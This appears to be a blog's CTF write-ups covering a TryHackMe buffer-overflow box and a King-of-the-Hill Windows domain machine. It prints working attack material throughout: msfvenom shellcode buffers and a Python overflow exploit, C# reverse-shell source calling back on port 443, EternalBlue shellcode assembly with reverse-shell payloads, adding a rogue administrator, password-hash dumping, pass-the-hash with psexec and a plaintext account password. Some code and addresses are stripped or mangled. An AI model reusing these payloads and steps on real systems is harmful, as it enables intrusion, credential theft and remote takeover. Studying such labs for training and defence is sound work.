Tryhackme’s BrainStorm


Run nmap to scan port

nmap -sS -sV -A -Pn

As a result, there are 3 ports used, port 21, 3389 and 9999 . In which port 21 allows anonymous FTP access.

Check the FTP port

FTP to the service server using an anonymous account

Use dir to check the ftp directory

Access the directory and check, there are 2 files chatserver.exe and essfunc.dll. This is the chat server file that the server is using to listen on port 9999

Download Binary 2 file for analysis. (If not set Binary, 2 download files will always be missing dozens of bytes, and cannot be executed)

Analysis chatserver.exe

Open chatserver.exe with Immunity Debugger

Create a pattern to pass test input.

Use python to send this pattern to the server

Buffer overflow occurs. The EIP value to be entered is 31704330.

Use pattern_offet. We see that offset is 2012, meaning that the buffer string has size of 2012 bytes. Including 2008 byte data + 4 bytes EBP + 4 bytes EIP.

So we know where the EIP is located, and from which we can control the EIP.

Control EIP

Use ! Mona jmp -r esp to find the address of the JMP ESP instruction in memory

This article will take address 0x62501527 to use for payload.

Notice here that the ASLR and SafeSEH protection mechanisms are disabled.

The payload for JMP ESP address will be written in reverse and in hex format like ‘\ x27 \ x15 \ x50 \ x62’

Exploit Development

Use msfvenom tool to generate payload

root@kali:~/thm/brainstorm# msfvenom -p windows/exec -b ‘\x00\x0A’ -f python CMD=calc.exe EXITFUNC=thread
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1060 bytes
buf = ""
buf += "\xdb\xd8\xd9\x74\x24\xf4\x5d\x31\xc9\xb1\x31\xb8\xb1"
buf += "\xc8\x5c\x5b\x83\xc5\x04\x31\x45\x14\x03\x45\xa5\x2a"
buf += "\xa9\xa7\x2d\x28\x52\x58\xad\x4d\xda\xbd\x9c\x4d\xb8"
buf += "\xb6\x8e\x7d\xca\x9b\x22\xf5\x9e\x0f\xb1\x7b\x37\x3f"
buf += "\x72\x31\x61\x0e\x83\x6a\x51\x11\x07\x71\x86\xf1\x36"
buf += "\xba\xdb\xf0\x7f\xa7\x16\xa0\x28\xa3\x85\x55\x5d\xf9"
buf += "\x15\xdd\x2d\xef\x1d\x02\xe5\x0e\x0f\x95\x7e\x49\x8f"
buf += "\x17\x53\xe1\x86\x0f\xb0\xcc\x51\xbb\x02\xba\x63\x6d"
buf += "\x5b\x43\xcf\x50\x54\xb6\x11\x94\x52\x29\x64\xec\xa1"
buf += "\xd4\x7f\x2b\xd8\x02\xf5\xa8\x7a\xc0\xad\x14\x7b\x05"
buf += "\x2b\xde\x77\xe2\x3f\xb8\x9b\xf5\xec\xb2\xa7\x7e\x13"
buf += "\x15\x2e\xc4\x30\xb1\x6b\x9e\x59\xe0\xd1\x71\x65\xf2"
buf += "\xba\x2e\xc3\x78\x56\x3a\x7e\x23\x3c\xbd\x0c\x59\x72"
buf += "\xbd\x0e\x62\x22\xd6\x3f\xe9\xad\xa1\xbf\x38\x8a\x4e"
buf += "\x22\xe9\xe6\xe6\xfb\x78\x4b\x6b\xfc\x56\x8f\x92\x7f"
buf += "\x53\x6f\x61\x9f\x16\x6a\x2d\x27\xca\x06\x3e\xc2\xec"
buf += "\xb5\x3f\xc7\x8e\x58\xac\x8b\x7e\xff\x54\x29\x7f"

here is the link for calc popping  ( sadly not popping up a calc yet)

root@kali:~/thm/brainstorm# sudo msfvenom -p windows/shell_bind_tcp LHOST= LPORT=4444 EXITFUNC=thread -f python -a x86 -b "\x00\x0a"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of python file: 1710 bytes
buf = ""
buf += "\xda\xc0\xbe\xc6\x93\x98\x7a\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x53\x31\x72\x17\x83\xea\xfc\x03\xb4\x80\x7a"
buf += "\x8f\xc4\x4f\xf8\x70\x34\x90\x9d\xf9\xd1\xa1\x9d\x9e"
buf += "\x92\x92\x2d\xd4\xf6\x1e\xc5\xb8\xe2\x95\xab\x14\x05"
buf += "\x1d\x01\x43\x28\x9e\x3a\xb7\x2b\x1c\x41\xe4\x8b\x1d"
buf += "\x8a\xf9\xca\x5a\xf7\xf0\x9e\x33\x73\xa6\x0e\x37\xc9"
buf += "\x7b\xa5\x0b\xdf\xfb\x5a\xdb\xde\x2a\xcd\x57\xb9\xec"
buf += "\xec\xb4\xb1\xa4\xf6\xd9\xfc\x7f\x8d\x2a\x8a\x81\x47"
buf += "\x63\x73\x2d\xa6\x4b\x86\x2f\xef\x6c\x79\x5a\x19\x8f"
buf += "\x04\x5d\xde\xed\xd2\xe8\xc4\x56\x90\x4b\x20\x66\x75"
buf += "\x0d\xa3\x64\x32\x59\xeb\x68\xc5\x8e\x80\x95\x4e\x31"
buf += "\x46\x1c\x14\x16\x42\x44\xce\x37\xd3\x20\xa1\x48\x03"
buf += "\x8b\x1e\xed\x48\x26\x4a\x9c\x13\x2f\xbf\xad\xab\xaf"
buf += "\xd7\xa6\xd8\x9d\x78\x1d\x76\xae\xf1\xbb\x81\xd1\x2b"
buf += "\x7b\x1d\x2c\xd4\x7c\x34\xeb\x80\x2c\x2e\xda\xa8\xa6"
buf += "\xae\xe3\x7c\x52\xa6\x42\x2f\x41\x4b\x34\x9f\xc5\xe3"
buf += "\xdd\xf5\xc9\xdc\xfe\xf5\x03\x75\x96\x0b\xac\x68\x3b"
buf += "\x85\x4a\xe0\xd3\xc3\xc5\x9c\x11\x30\xde\x3b\x69\x12"
buf += "\x76\xab\x22\x74\x41\xd4\xb2\x52\xe5\x42\x39\xb1\x31"
buf += "\x73\x3e\x9c\x11\xe4\xa9\x6a\xf0\x47\x4b\x6a\xd9\x3f"
buf += "\xe8\xf9\x86\xbf\x67\xe2\x10\xe8\x20\xd4\x68\x7c\xdd"
buf += "\x4f\xc3\x62\x1c\x09\x2c\x26\xfb\xea\xb3\xa7\x8e\x57"
buf += "\x90\xb7\x56\x57\x9c\xe3\x06\x0e\x4a\x5d\xe1\xf8\x3c"
buf += "\x37\xbb\x57\x97\xdf\x3a\x94\x28\x99\x42\xf1\xde\x45"
buf += "\xf2\xac\xa6\x7a\x3b\x39\x2f\x03\x21\xd9\xd0\xde\xe1"
buf += "\xf9\x32\xca\x1f\x92\xea\x9f\x9d\xff\x0c\x4a\xe1\xf9"
buf += "\x8e\x7e\x9a\xfd\x8f\x0b\x9f\xba\x17\xe0\xed\xd3\xfd"
buf += "\x06\x41\xd3\xd7"

The above payload will use the shell bind tcp, use port 4444 and have removed the bad characters x00 and x0a

After the payload, we write python to exploit, with the following payload

Payload = 2012 bytes junk + 4 bytes EIP + 16 bytes NOPS + Shellcode + junk

import socket
import sys

username = b"puckie"

message = b"A" * 2012 + b"\x27\x15\x50\x62" + b"\x90" * 32

#generated with msfvenom -p windows/exec -b '\x00\x0A' -f python CMD=calc.exe EXITFUNC=thread

buf = ""
buf += "\xda\xc1\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x52\xba\x71"
buf += "\x70\x98\x51\x83\xe8\xfc\x31\x50\x13\x03\x21\x63\x7a"
buf += "\xa4\x3d\x6b\xf8\x47\xbd\x6c\x9d\xce\x58\x5d\x9d\xb5"
buf += "\x29\xce\x2d\xbd\x7f\xe3\xc6\x93\x6b\x70\xaa\x3b\x9c"
buf += "\x31\x01\x1a\x93\xc2\x3a\x5e\xb2\x40\x41\xb3\x14\x78"
buf += "\x8a\xc6\x55\xbd\xf7\x2b\x07\x16\x73\x99\xb7\x13\xc9"
buf += "\x22\x3c\x6f\xdf\x22\xa1\x38\xde\x03\x74\x32\xb9\x83"
buf += "\x77\x97\xb1\x8d\x6f\xf4\xfc\x44\x04\xce\x8b\x56\xcc"
buf += "\x1e\x73\xf4\x31\xaf\x86\x04\x76\x08\x79\x73\x8e\x6a"
buf += "\x04\x84\x55\x10\xd2\x01\x4d\xb2\x91\xb2\xa9\x42\x75"
buf += "\x24\x3a\x48\x32\x22\x64\x4d\xc5\xe7\x1f\x69\x4e\x06"
buf += "\xcf\xfb\x14\x2d\xcb\xa0\xcf\x4c\x4a\x0d\xa1\x71\x8c"
buf += "\xee\x1e\xd4\xc7\x03\x4a\x65\x8a\x4b\xbf\x44\x34\x8c"
buf += "\xd7\xdf\x47\xbe\x78\x74\xcf\xf2\xf1\x52\x08\xf4\x2b"
buf += "\x22\x86\x0b\xd4\x53\x8f\xcf\x80\x03\xa7\xe6\xa8\xcf"
buf += "\x37\x06\x7d\x5f\x67\xa8\x2e\x20\xd7\x08\x9f\xc8\x3d"
buf += "\x87\xc0\xe9\x3e\x4d\x69\x83\xc5\x06\x56\xfc\xc4\x5d"
buf += "\x3e\xff\xc6\x70\xe3\x76\x20\x18\x0b\xdf\xfb\xb5\xb2"
buf += "\x7a\x77\x27\x3a\x51\xf2\x67\xb0\x56\x03\x29\x31\x12"
buf += "\x17\xde\xb1\x69\x45\x49\xcd\x47\xe1\x15\x5c\x0c\xf1"
buf += "\x50\x7d\x9b\xa6\x35\xb3\xd2\x22\xa8\xea\x4c\x50\x31"
buf += "\x6a\xb6\xd0\xee\x4f\x39\xd9\x63\xeb\x1d\xc9\xbd\xf4"
buf += "\x19\xbd\x11\xa3\xf7\x6b\xd4\x1d\xb6\xc5\x8e\xf2\x10"
buf += "\x81\x57\x39\xa3\xd7\x57\x14\x55\x37\xe9\xc1\x20\x48"
buf += "\xc6\x85\xa4\x31\x3a\x36\x4a\xe8\xfe\x56\xa9\x38\x0b"
buf += "\xff\x74\xa9\xb6\x62\x87\x04\xf4\x9a\x04\xac\x85\x58"
buf += "\x14\xc5\x80\x25\x92\x36\xf9\x36\x77\x38\xae\x37\x52"

print("Sending the payload ...")
s.send(username + b'\r\n')
s.send(message + buf + b'\r\n')

print("Cannot connect to the server ...")

Execute the python file above ( after the calc is popping o.k.)

Connect to port 4444

Whoami check

Read the flag file


if you need the files to localy exploit chatserver , it’s exe and dll are at

Author : PuckieStyle


Beveiligd: htb-akerva-nl

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op


NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a KOTH CTF called Offline at

1st a nmap scan

root@kali:/opt/MS17-010-2012# nmap -A 
Starting Nmap 7.70 ( ) at 2020-05-18 03:19 EDT
Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Nmap scan report for
Host is up (0.028s latency).
Not shown: 976 closed ports
21/tcp open ftp Microsoft ftpd
| ftp-syst: 
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
| 3072 55:15:8d:d0:54:38:1b:d6:a9:9e:3f:b0:0b:b3:14:34 (RSA)
| 256 cf:5b:e2:de:ce:3b:04:e6:8c:24:6c:2f:37:25:05:c5 (ECDSA)
|_ 256 82:bf:bb:09:69:a7:25:5d:66:58:ea:c6:53:d8:c8:8e (ED25519)
53/tcp open domain?
| fingerprint-strings: 
| DNSVersionBindReqTCP: 
| version
|_ bind
80/tcp open http Microsoft IIS httpd 8.5
| http-methods: 
|_http-server-header: Microsoft-IIS/8.5
|_http-svn-info: ERROR: Script execution failed (use -d to debug)
|_http-title: Offline TV
| http-webdav-scan: 
| Server Date: Mon, 18 May 2020 07:22:26 GMT
| Server Type: Microsoft-IIS/8.5
| WebDAV type: Unkown
| Directory Listing: 
| Exposed Internal IPs: 
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-05-18 07:20:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: kingofthe.domain, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds
| fingerprint-strings: 
| SMBProgNeg: 
|_ SMBr
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: kingofthe.domain, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=Offline.kingofthe.domain
| Not valid before: 2020-04-07T00:07:50
|_Not valid after: 2020-10-07T00:07:50
|_ssl-date: 2020-05-18T07:22:27+00:00; 0s from scanner time.
9999/tcp open http Microsoft IIS httpd 8.5
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn't have a title (text/plain).
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49175/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: Host: OFFLINE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h45m00s, deviation: 3h30m00s, median: 0s
|_nbstat: NetBIOS name: OFFLINE, NetBIOS user: <unknown>, NetBIOS MAC: 02:93:15:c9:fb:80 (unknown)
| smb-os-discovery: 
| OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
| OS CPE: cpe:/o:microsoft:windows_server_2012::-
| Computer name: Offline
| NetBIOS computer name: 
| Domain name: kingofthe.domain
| Forest name: kingofthe.domain
| FQDN: Offline.kingofthe.domain
|_ System time: 2020-05-18T00:22:28-07:00
| smb-security-mode: 
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled and required
| smb2-time: 
| date: 2020-05-18 03:22:28
|_ start_date: 2020-05-18 02:55:02

TRACEROUTE (using port 80/tcp)
1 27.46 ms
2 27.57 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 276.54 seconds

files used

modify to fit your need

root@kali:/opt/MS17-010-2012# cat | grep .exe
smb_send_file(smbConn, '/root/htb/blue/puckieshell443.exe', 'C', '/puckieshell443.exe')
service_exec(conn, r'cmd /c c:\\puckieshell443.exe') 
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# executing binary generated by "msfvenom -f exe-service ..."
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd):


C# Simple Reverse Shell Code writing

Looking on github there are many examples of C# code that open reverse shells via cmd.exe. In this case i copied part of the codes and used the following simple C# program. No evasion, no persistence, no hiding code, only simple “open socket and launch the cmd.exe on victim machine”:

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;

namespace ConnectBack
	public class Program
		static StreamWriter streamWriter;

		public static void Main(string[] args)
			using(TcpClient client = new TcpClient("", 443))
				using(Stream stream = client.GetStream())
					using(StreamReader rdr = new StreamReader(stream))
						streamWriter = new StreamWriter(stream);
						StringBuilder strInput = new StringBuilder();

						Process p = new Process();
						p.StartInfo.FileName = "cmd.exe";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);

							strInput.Remove(0, strInput.Length);

		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
                catch (Exception err) { }

Simple Reverse shell C# code

root@kali:~# nc -lvp 443
listening on [any] 443 ...
Kali Linux in listening mode

I put my kali in listening mode on 443 port with netcat, compiled and executed my code.

Scan the exe file with no Threats found

As you can see the .exe file is clean for Windows Defender. From AV side no malicious actions ware already performed. This could be a standard results.

file execution on victim machine

Executing file the cmd instance is visible to the user and if the prompt window will be closed the same will happen for the shell.

root@kali:~# nc -lvp 443
listening on [any] 443 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 25852
Microsoft Windows [Version 10.0.17134.523]
(c) 2018 Microsoft Corporation. All rights reserved.

Running reconnaissance commands on victim machine from Kali Linux

Running the exe file will spawn immediately the shell on my Kali.

Finding the C# compiler (csc.exe)



c:\PENTEST>c:\windows\Microsoft.NET\Framework\v3.5\csc.exe /t:exe /out:Simple_Rev_Shell443.exe Simple_Rev_Shell443.cs
Microsoft (R) Visual C# 2008 Compiler version 3.5.30729.8931
for Microsoft (R) .NET Framework version 3.5
Copyright (C) Microsoft Corporation. All rights reserved.

Simple_Rev_Shell443.cs(64,34): warning CS0168: The variable 'err' is declared but never used

c:\PENTEST>dir Simple_Rev_Shell443.*
Volume in drive C is Boot
Volume Serial Number is 9488-7836

Directory of c:\PENTEST

09/02/2019 19:45 1.822 Simple_Rev_Shell443.cs
10/02/2019 10:27 5.120 Simple_Rev_Shell443.exe
2 File(s) 6.942 bytes
0 Dir(s) 6.854.045.696 bytes free

reference used :

Not for this, but if compiling saftykatz32.exe Why do I get the following error? Unsafe code may only appear if compiling with /unsafe”?vI work in C# and Visual Studio 2015 for programming on Windows .

To use unsafe code blocks, the project has to be compiled with the /unsafe switch on.

Open the properties for the project, go to the Build tab and check the Allow unsafe codecheckbox.

Let’s go exploting  MS17-010 the manual way.

root@kali:/opt/MS17-010-2012# python
Target OS: Windows Server 2012 R2 Standard 9600
The target is not patched

=== Testing named pipes ===
spoolss: Ok (64 bit)
samr: Ok (64 bit)
netlogon: Ok (64 bit)
lsarpc: Ok (64 bit)

There may be times when you want to exploit MS17-010 (EternalBlue) without having to rely on using Metasploit. Perhaps you want to run it from a ‘Command & Control’ system without msf installed, run a quick demo or execute on the go. Unlike “zzz_exploit”, this method does not require access to a named pipe, nor does it require any credentials. The downside, however, is an increased risk of crashing the target. Kudos to Worawit Wang for making this easy.

Start by cloning the following repository:

$ git clone

The shellcode directory holds (you guessed it) the kernel shellcodes.

$ ls -l MS17-010/shellcode/
total 44
-rw-r--r-- 1 root root 20305 Dec  2 22:03 eternalblue_kshellcode_x64.asm
-rw-r--r-- 1 root root 19862 Dec  2 22:03 eternalblue_kshellcode_x86.asm
-rw-r--r-- 1 root root  1589 Dec  2 22:03

The first step is to assemble shellcode to binary. You can do either one (depending which architecture your target is running), or assemble both and merge them to a single binary file. The latter is useful when you don’t know the target arch or if you are planning to run it against multiple systems with different architectures.

x64 shellcode

Assemble kernel shellcode with nasm:

$ nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin

Generate a binary payload or use an existing one. Name this sc_x64_payload.bin:

$ msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST= --platform windows -a x64 --format raw -o sc_x64_payload.bin
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Saved as: sc_x64_payload.bin

Concentrate payload & shellcode:

$ cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin

x86 shellcode

Assemble kernel shellcode with nasm:

$ nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin

Generate a binary payload or use an existing one. Name this sc_x86_payload.bin:

$ msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST= --platform windows -a x86 --format raw -o sc_x86_payload.bin
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Saved as: sc_x86_payload.bin

Concentrate payload & shellcode:

$ cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin

Merging binaries

This step is only necessary when you want both x64 and x86 in the same binary. Assuming that you followed the steps above for each architecture; merging is done with the included script:

$ python MS17-010/shellcode/ sc_x86.bin sc_x64.bin sc_all.bin


The eternalblue scripts are located in MS17-010/ and have the following targets.

  • Windows Server 2008 & R2
  • Windows Server 2012 & R2 (x86)
  • Windows Server 2016 (x64)
  • Windows Vista
  • Windows 7

  • Windows Server 2012 (x64)
  • Windows 8.1 & RT
  • Windows 10 (x64) (build < 14393)

Running exploit

Word of advice; running these blindly against the target is a bad idea. Be sure to enumerate the OS first. Also, expect your target to crash or force a reboot once the session is closed.

Example running against vulnerable Windows 7 host:

It is now possible to run ​​ . A named pipe is required to execute the script, and in
this case ​ ntsvcs​ works just fine.

root@kali:/opt/MS17-010-2012# python /opt/MS17-010-2012//shellcode/sc_x64.bin
shellcode size: 1232
numGroomConn: 13
Target OS: Windows Server 2012 R2 Standard 9600
got good NT Trans response
got good NT Trans response
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status for nx: INVALID_PARAMETER
good response status: INVALID_PARAMETER
root@kali:/opt/MS17-010-2012# nc -nlvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 49236
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

nt authority\system


C:\>dir flag.txt /s
dir flag.txt /s
 Volume in drive C has no label.
 Volume Serial Number is E403-33DE

 Directory of C:\Users\Administrator

04/08/2020  03:44 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\fed

04/08/2020  03:44 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\lily

04/08/2020  03:44 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\mykull

04/08/2020  03:43 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\poki

04/08/2020  03:43 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\scarra

04/08/2020  03:43 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\toast

04/08/2020  03:43 PM                37 flag.txt
               1 File(s)             37 bytes

 Directory of C:\Users\yvonne

04/08/2020  03:43 PM                37 flag.txt
               1 File(s)             37 bytes

     Total Files Listed:
               8 File(s)            296 bytes
               0 Dir(s)  48,990,380,032 bytes free

Volume in drive C has no label.
Volume Serial Number is E403-33DE

Directory of C:\Users\Administrator\king-server

04/07/2020 08:12 PM <DIR> .
04/07/2020 08:12 PM <DIR> ..
04/14/2020 01:13 AM 0 king.txt
04/07/2020 08:16 PM 624 web.config
2 File(s) 624 bytes
2 Dir(s) 49,020,686,336 bytes free

C:\Users\Administrator\king-server>echo "puckiestyle" >> king.txt
echo "puckiestyle" >> king.txt

C:\Users\Administrator\king-server>type king.txt
type king.txt
Volume in drive C has no label.
Volume Serial Number is E403-33DE

Directory of C:\Shares\King

04/14/2020 02:16 PM <DIR> .
04/14/2020 02:16 PM <DIR> ..
04/13/2020 03:56 PM 25 exec.bat
05/18/2020 12:05 AM 83 king.txt
04/14/2020 03:32 PM 195 script.bat
3 File(s) 303 bytes
2 Dir(s) 48,962,973,696 bytes free

C:\Shares\King>type king.txt
type king.txt
has king! mykull queried king.txt at Mon 05/18/2020 0:05:01.04


Other stuff

Finding Users using

root@kali:/opt/ridenum# ./ 500 50000 lily lolily
[*] Attempting lsaquery first...This will enumerate the base domain SID
[*] Successfully enumerated base domain SID. Printing information: 
Domain Name: KingOfTheDomain
Domain Sid: S-1-5-21-2684872673-4160438805-3138582355
[*] Moving on to extract via RID cycling attack.. 
[*] Enumerating user accounts.. This could take a little while.
Account name: KingOfTheDomain\Administrator
Account name: KingOfTheDomain\Guest
Account name: KingOfTheDomain\krbtgt
Account name: KingOfTheDomain\OFFLINE$
Account name: KingOfTheDomain\mykull
Account name: KingOfTheDomain\poki
Account name: KingOfTheDomain\lily
Account name: KingOfTheDomain\toast
Account name: KingOfTheDomain\scarra
Account name: KingOfTheDomain\yvonne
Account name: KingOfTheDomain\fed
Account name: KingOfTheDomain\SVC_ROBOTARMY
[*] RIDENUM has finished enumerating user accounts...


root@kali:~/thm/offline# rpcclient -U "lily"
Enter WORKGROUP\lily's password: 
rpcclient $> lsaquery
Domain Name: KingOfTheDomain
Domain Sid: S-1-5-21-2684872673-4160438805-3138582355
rpcclient $> queryuser mykull
User Name : mykull
Full Name : Mykull Reeves
Home Drive : 
Dir Drive : 
Profile Path: 
Logon Script: 
Description : NightmareNightmareNightmareNightmare
Comment : 
Remote Dial :
Logon Time : Thu, 28 May 2020 04:35:17 EDT
Logoff Time : Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time : Wed, 13 Sep 30828 21:48:05 EST
Password last set Time : Sun, 05 Apr 2020 20:03:40 EDT
Password can change Time : Mon, 06 Apr 2020 20:03:40 EDT
Password must change Time: Wed, 13 Sep 30828 21:48:05 EST
user_rid : 0x452
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x000000c4
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[mykull] rid:[0x452]
user:[poki] rid:[0x453]
user:[lily] rid:[0x454]
user:[toast] rid:[0x455]
user:[scarra] rid:[0x456]
user:[yvonne] rid:[0x457]
user:[fed] rid:[0x458]
user:[SVC_ROBOTARMY] rid:[0x459]



C:\Users\Administrator\king-server>net user /add puckie Style! net user /add puckie Style! The command completed successfully. C:\Users\Administrator\king-server>net localgroup administrators puckie /add net localgroup administrators puckie /add The command completed successfully.

root@kali:/opt/git clone
root@kali:/opt/evil-winrm# gem install winrm-fs
Fetching: rubyzip-2.3.0.gem (100%)
Successfully installed rubyzip-2.3.0
Fetching: winrm-fs-1.3.4.gem (100%)
Successfully installed winrm-fs-1.3.4
Parsing documentation for rubyzip-2.3.0
Installing ri documentation for rubyzip-2.3.0
Parsing documentation for winrm-fs-1.3.4
Installing ri documentation for winrm-fs-1.3.4
Done installing documentation for rubyzip, winrm-fs after 2 seconds
2 gems installed
root@kali:/opt/evil-winrm# ./evil-winrm.rb -i -u puckie -p 'Style!'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\puckie\Documents> whoami

root@kali:/opt/evil-winrm# ./evil-winrm.rb -i -u puckie -p 'Style!'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\puckie\Documents> upload pwdump8.exe
Info: Uploading pwdump8.exe to C:\Users\puckie\Documents\pwdump8.exe

Data: 1479336 bytes of 1479336 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\puckie\Documents> ./pwdump8.exe

PwDump v8.2 - dumps windows password hashes - by Fulvio Zanetti & Andrea Petralia @


*Evil-WinRM* PS C:\Users\puckie\Documents>
E:\OSCP>psexecimpacket.exe -hashes AAD3[redacted]04EE:E6E9[redacted]91B7 administrator@
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file bgMvCpRw.exe
[*] Opening SVCManager on
[*] Creating service yUne on
[*] Starting service yUne.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

nt authority\system

C:\Windows\system32>mkdir puck
C:\Windows\system32>certutil -urlcache -split -f C:\puck\pwdump8.exe

c:\Python37>kerbrute_windows_amd64.exe userenum --dc offline.kingofthe.domain -d kingofthe.domain usernames.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 05/22/20 - Ronnie Flathers @ropnop

2020/05/22 16:02:50 >  Using KDC(s):
2020/05/22 16:02:50 >   offline.kingofthe.domain:88
2020/05/22 16:02:50 >  [+] VALID USERNAME:       mykull@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       toast@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       administrator@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       puckie@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       guest@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       poki@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       scarra@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       lily@kingofthe.domain
2020/05/22 16:02:50 >  [+] VALID USERNAME:       yvonne@kingofthe.domain
2020/05/22 16:02:50 >  Done! Tested 9 usernames (9 valid) in 0.083 seconds

root@kali:/opt/evil-winrm# ./evil-winrm.rb -i -u toast -p 'IsItHotInHere,OrIsItJustMe'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\toast\Documents> cd..
*Evil-WinRM* PS C:\Users\toast> type flag.txt
*Evil-WinRM* PS C:\Users\toast>
root@kali:~/thm/offline# -dc-ip kingofthe.domain/ -usersfile users.txt
Impacket v0.9.22.dev1+20200428.191254.96c7a512 - Copyright 2020 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User fed doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User poki doesn't have UF_DONT_REQUIRE_PREAUTH set
